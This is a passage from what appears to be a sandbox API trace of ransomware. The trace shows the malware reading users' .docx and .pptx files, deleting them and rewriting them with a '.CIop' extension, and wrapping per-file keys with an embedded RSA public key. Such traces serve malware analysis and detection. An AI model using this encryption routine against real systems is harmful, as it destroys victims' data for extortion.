nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.790] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3dbb [0089.790] SetErrorMode (uMode=0x1) returned 0x1 [0089.790] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.790] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.790] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.790] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614a18) returned 1 [0089.791] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614a18, dwCertEncodingType=0x1, pInfo=0x5e8568, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d64c8) returned 1 [0089.791] CryptEncrypt (in: hKey=0x5d64c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.791] CryptEncrypt (in: hKey=0x5d64c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614aa0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614aa0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.791] WriteFile (in: hFile=0x3e4, lpBuffer=0x614aa0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614aa0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.791] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.791] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.791] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.791] CloseHandle (hObject=0x3e4) returned 1 [0089.792] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\SATDQcfMYoPlh.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\satdqcfmyoplh.docx")) returned 0 Thread: id = 54 os_tid = 0xfcc [0089.793] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.793] lstrcpyW (in: lpString1=0x306f368, lpString2="u6hnCYVE2vuu.docx" | out: lpString1="u6hnCYVE2vuu.docx") returned="u6hnCYVE2vuu.docx" [0089.793] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.793] SetErrorMode (uMode=0x1) returned 0x1 [0089.793] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx") returned 53 [0089.793] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx", dwFileAttributes=0x20) returned 1 [0089.793] StrStrW (lpFirst="u6hnCYVE2vuu.docx", lpSrch=".CIop") returned 0x0 [0089.793] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx.CIop") returned 58 [0089.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\u6hncyve2vuu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4 [0089.794] ReadFile (in: hFile=0x3d4, lpBuffer=0x6165c8, nNumberOfBytesToRead=0x1298f, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesRead=0x306e5e8*=0x1298f, lpOverlapped=0x0) returned 1 [0089.795] CloseHandle (hObject=0x3d4) returned 1 [0089.795] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\u6hncyve2vuu.docx")) returned 1 [0089.796] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.797] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.797] SetErrorMode (uMode=0x1) returned 0x1 [0089.797] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x614b28) returned 1 [0089.799] CryptGenKey (in: hProv=0x614b28, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5b67b8) returned 1 [0089.819] CryptExportKey (in: hKey=0x5b67b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.819] CryptExportKey (in: hKey=0x5b67b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0089.819] CryptDestroyKey (hKey=0x5b67b8) returned 1 [0089.819] CryptReleaseContext (hProv=0x614b28, dwFlags=0x0) returned 1 [0089.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\u6hncyve2vuu.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4 [0089.820] WriteFile (in: hFile=0x3d4, lpBuffer=0x6165c8*, nNumberOfBytesToWrite=0x1298f, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesWritten=0x306e5d8*=0x1298f, lpOverlapped=0x0) returned 1 [0089.821] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1298f [0089.821] WriteFile (in: hFile=0x3d4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.821] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12996 [0089.822] SetErrorMode (uMode=0x1) returned 0x1 [0089.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.822] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.822] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0089.822] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x614b28) returned 1 [0089.822] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614b28, dwCertEncodingType=0x1, pInfo=0x5e8638, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5b6978) returned 1 [0089.822] CryptEncrypt (in: hKey=0x5b6978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0089.822] CryptEncrypt (in: hKey=0x5b6978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614dd0*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614dd0*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0089.822] WriteFile (in: hFile=0x3d4, lpBuffer=0x614dd0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614dd0*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.822] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.823] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.824] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.824] CloseHandle (hObject=0x3d4) returned 1 [0089.825] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\u6hnCYVE2vuu.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\u6hncyve2vuu.docx")) returned 0 Thread: id = 55 os_tid = 0xfd0 [0089.842] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.842] lstrcpyW (in: lpString1=0x2f0f368, lpString2="ziNabL4eBQn3JC_djnr.pptx" | out: lpString1="ziNabL4eBQn3JC_djnr.pptx") returned="ziNabL4eBQn3JC_djnr.pptx" [0089.842] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.842] SetErrorMode (uMode=0x1) returned 0x1 [0089.842] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx") returned 60 [0089.842] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx", dwFileAttributes=0x20) returned 1 [0089.842] StrStrW (lpFirst="ziNabL4eBQn3JC_djnr.pptx", lpSrch=".CIop") returned 0x0 [0089.842] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx.CIop") returned 65 [0089.842] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zinabl4ebqn3jc_djnr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4 [0089.843] ReadFile (in: hFile=0x3e4, lpBuffer=0x6165c8, nNumberOfBytesToRead=0x9179, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesRead=0x2f0e5e8*=0x9179, lpOverlapped=0x0) returned 1 [0089.844] CloseHandle (hObject=0x3e4) returned 1 [0089.844] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zinabl4ebqn3jc_djnr.pptx")) returned 1 [0089.845] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.845] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.846] SetErrorMode (uMode=0x1) returned 0x1 [0089.846] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614e58) returned 1 [0089.848] CryptGenKey (in: hProv=0x614e58, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6408) returned 1 [0089.887] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.887] CryptExportKey (in: hKey=0x5d6408, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.887] CryptDestroyKey (hKey=0x5d6408) returned 1 [0089.887] CryptReleaseContext (hProv=0x614e58, dwFlags=0x0) returned 1 [0089.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zinabl4ebqn3jc_djnr.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4 [0089.888] WriteFile (in: hFile=0x3e4, lpBuffer=0x6165c8*, nNumberOfBytesToWrite=0x9179, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x9179, lpOverlapped=0x0) returned 1 [0089.889] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9179 [0089.889] WriteFile (in: hFile=0x3e4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.889] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9180 [0089.889] SetErrorMode (uMode=0x1) returned 0x1 [0089.889] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.889] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.889] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.889] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x614e58) returned 1 [0089.890] CryptImportPublicKeyInfoEx (in: hCryptProv=0x614e58, dwCertEncodingType=0x1, pInfo=0x5e8708, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6408) returned 1 [0089.890] CryptEncrypt (in: hKey=0x5d6408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.890] CryptEncrypt (in: hKey=0x5d6408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x614ee0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x614ee0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.890] WriteFile (in: hFile=0x3e4, lpBuffer=0x614ee0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x614ee0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.890] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.891] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.891] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.891] CloseHandle (hObject=0x3e4) returned 1 [0089.892] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ziNabL4eBQn3JC_djnr.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zinabl4ebqn3jc_djnr.pptx")) returned 0 Thread: id = 56 os_tid = 0xfd4 [0089.921] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.921] lstrcpyW (in: lpString1=0x2f0f368, lpString2="ZmbKh2wUNBqMsH-.docx" | out: lpString1="ZmbKh2wUNBqMsH-.docx") returned="ZmbKh2wUNBqMsH-.docx" [0089.921] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.921] SetErrorMode (uMode=0x1) returned 0x1 [0089.921] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx") returned 56 [0089.921] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx", dwFileAttributes=0x20) returned 1 [0089.922] StrStrW (lpFirst="ZmbKh2wUNBqMsH-.docx", lpSrch=".CIop") returned 0x0 [0089.922] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx.CIop") returned 61 [0089.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zmbkh2wunbqmsh-.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8 [0089.923] ReadFile (in: hFile=0x3e8, lpBuffer=0x6165c8, nNumberOfBytesToRead=0xa513, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6165c8*, lpNumberOfBytesRead=0x2f0e5e8*=0xa513, lpOverlapped=0x0) returned 1 [0089.924] CloseHandle (hObject=0x3e8) returned 1 [0089.924] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\ZmbKh2wUNBqMsH-.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zmbkh2wunbqmsh-.docx")) returned 1 [0089.925] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.925] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.925] SetErrorMode (uMode=0x1) returned 0x1 [0089.925] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x614f68) returned 1 [0089.928] CryptGenKey (in: hProv=0x614f68, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5b67b8) returned 1 [0089.982] CryptExportKey (in: hKey=0x5b67b8, hExpKey=0x0, 